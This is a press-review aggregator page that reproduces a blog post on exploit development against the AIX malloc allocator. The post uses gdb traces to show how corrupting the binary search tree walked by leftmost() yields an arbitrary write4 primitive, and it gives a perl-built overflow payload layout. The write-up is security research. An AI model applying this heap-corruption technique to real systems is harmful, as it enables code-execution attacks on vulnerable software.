Menu > Articles de la revue de presse : - l'ensemble [tous | francophone] - par mots clé [tous] - par site [tous] - le tagwall [voir] - Top bi-hebdo de la revue de presse [Voir]

---

S'abonner au fil RSS global de la revue de presse

---

Présentation : An old friend of mine once told me that exploits are written in a debugger and implemented in your programming language of choice. Today, with my debugger in hand, I took a quick journey into the AIX memory allocator. Say you're dealing with a hypothetical BSS/heap memory corruption on AIX and you run into a crash like the following: Program received signal SIGSEGV, Segmentation fault. 0xd01f0488 in leftmost () from /usr/lib/libc.a(shr.o) (gdb) bt 4 #0 0xd01f048c in leftmost () from /usr/lib/libc.a(shr.o) #1 0xd01f25ac in malloc_y () from /usr/lib/libc.a(shr.o) #2 0xd01f1ecc in malloc_y_heap () from /usr/lib/libc.a(shr.o) #3 0xd01e661c in malloc () from /usr/lib/libc.a(shr.o) (More stack frames follow...) (gdb) Oh my, David Litchfield's paper dealing with rightmost() free(3) based writes isn't going to help you now is it! Well, that's exactly why you shouldn't rely on 'exploit' papers to get things done. People seem to panic when things haven't been done publicly before, but really what we're talking about here is just creative debugging. Which is exactly what exploit development boils down to. Before we get to deeply into the nitty gritty, let's have a quick look at the default AIX memory allocation policy: " Understanding the Default Allocation Policy The default allocation policy maintains the free space in the heap as nodes in a cartesian binary search tree in which the nodes are ordered left-to-right by address (increasing address to the right) and top-to-bottom by length (such that no child is larger than its parent). This data structure imposes no limitation on the number of block sizes supported by the tree, allowing a wide range of potential block sizes. Tree-reorganization techniques optimize access times for node location, insertion, and deletion, and also protect against fragmentation. " Mmkay, so really what we're talking about is binary search trees. When a malloc(n) occurs, the AIX allocation policy states that a binary search for the leftmost node occurs (searching for the lowest address that has a size associated with it that is = the requested size). Alright so the leftmost() function in which we crashed is walking the binary search tree to the left, which is for all intents an purposes very similar to walking a linked list (yeah yeah, you can stone me later). So lets have a look at the first couple of instructions of the leftmost function: Dump of assembler code for function leftmost: 0xd01f043c : addi r9,r4,1068 0xd01f0440 : lwz r7,1068(r4) 0xd01f0444 : lwz r0,1072(r4) 0xd01f0448 : lwz r6,4(r7) 0xd01f044c : lwz r5,0(r7) 0xd01f0450 : cmplw r0,r6 0xd01f0454 : bne- 0xd01f0518 Alright, so really all this is doing is loading a current node address and a size out of the __heaps structure (which is referenced by r4), into r7 and r0 respectively. r7 in turn holds a reference to the next node address and size, which is loaded into r5 and r6 respectively. You can see this logic in action below: Breakpoint 2, 0xd01f0450 in leftmost () from /usr/lib/libc.a(shr.o) r7 0x2000fcb0 536935600 address + 8 are read and then written into current-address". That sounds a whole lot easier to remember :) Now on to the second write at leftmost+76. A similar write logic occurs, only this time 2 dwords are loaded into r5/r6 from r4+1068 (which contains our current node data) by proxy of r9, and written to (r7) after 8 bytes are added to r7 at leftmost+72. So what is r7 pointing to!? r7 is loaded from r4+1076, which as we saw earlier, has been initalized with our next address (0xcafebabe) at leftmost+32. Okay, so, hold on ... the current node data (0x2ff22cfc, 0x41424344) is being written to the next address + 8? Sweet. Because we have full control over the 2nd dword (size) we can trigger a write4 primitive as long as the current address points to node data with a matching size. By setting the next address to an address you want to write to, minus 8 bytes for the addi, minus 4 bytes for the first dword, we can write a controlled current size value to arbitrary locations. So the proposed memory corruption logic becomes fairly simple: [A - pointer to C] [B - what ] [C - where-8-4 ] [D - what ] If we can corrupt binary search tree data that is walked by leftmost() with [A][B], and provide [C][D] elsewhere in memory (e.g. via an environment variable for locals), you end up with a controlled write4 primitive. Groovy. Now what you do with that write4 is entirely up to you of course : Example: writing 0x41424344 to 0x2ff20404, I know [C][D] lives at 0x2ff2cfc, so my corrupted node data becomes (remember, size, i.e. "what", for current and next have to match to enter the correct code block with the writes we want) [A: 0x2ff22cfc ] [B: 0x41424344 ] [C: 0x2ff20404-8-4] [D: 0x41424344 ] [C][D] can live wherever in memory, but for convenience sake I just put them right after [A][B], on a full blown exploit you will most likely have to deal with some survival issues post-write4 that call for a cleaner overwrite, maybe ;) (gdb) r -e `perl -e 'print "P"x5692; print "x2fxf2x01x0c"; print "P"x500; print "x2fxf2x01x0c"; print "x2fxf2x01x0c"; print "x2fxf2x01x0c"; print "P"x72; print "x2fxf2x2cxfcABCDx2fxf2x03xf8ABCD"'` - [A][B][C][D] Breakpoint 2, 0xd01f0450 in leftmost () from /usr/lib/libc.a(shr.o) r7 0x2ff22cfc 804400380 - location of [C][D] r0 0x41424344 1094861636 - current size (what) r5 0x2ff203f8 804389880 - where - 8 - 4 r6 0x41424344 1094861636 - next size (what) (gdb) x/2x 0x2ff22cfc 0x2ff22cfc: 0x2ff203f8 0x41424344 (gdb) ... Breakpoint 4, 0xd01f0488 in leftmost () from /usr/lib/libc.a(shr.o) (gdb) x/i$pc 0xd01f0488 : stswi r5,r7,8 (gdb) i r r7 r7 0x2ff20400 804389888 (gdb) i r r5 r6 r5 0x2ff22cfc 804400380 r6 0x41424344 1094861636 (gdb) si 0xd01f048c in leftmost () from /usr/lib/libc.a(shr.o) (gdb) x/x 0x2ff20404 0x2ff20404: 0x41424344 (gdb) Okay, so that's a basic write4 primitive out of a leftmost binary tree search on AIX heap corruption. Take away: you don't have to memorize every single allocator known to man if you're willing to grunt it out for a few hours with GDB. After which you get to horribly simplify and misuse binary tree based heap terminology.






Les derniers articles du site "A bug's life" :

- On wrestling crocodiles
- Taking the left hand path
- Oh bugger.
- Size matters when hell freezes over
- Things to do with MOSDEF when you're dead
- You can only sit down if you are a human being

---

S'abonner au fil RSS global de la revue de presse

---